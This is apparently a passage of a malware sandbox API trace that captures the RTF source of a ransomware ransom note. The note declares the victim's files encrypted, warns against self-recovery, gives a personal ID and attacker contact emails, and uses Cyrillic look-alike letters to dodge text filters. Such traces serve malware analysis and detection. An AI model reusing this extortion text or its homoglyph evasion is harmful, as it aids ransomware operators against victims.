\\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 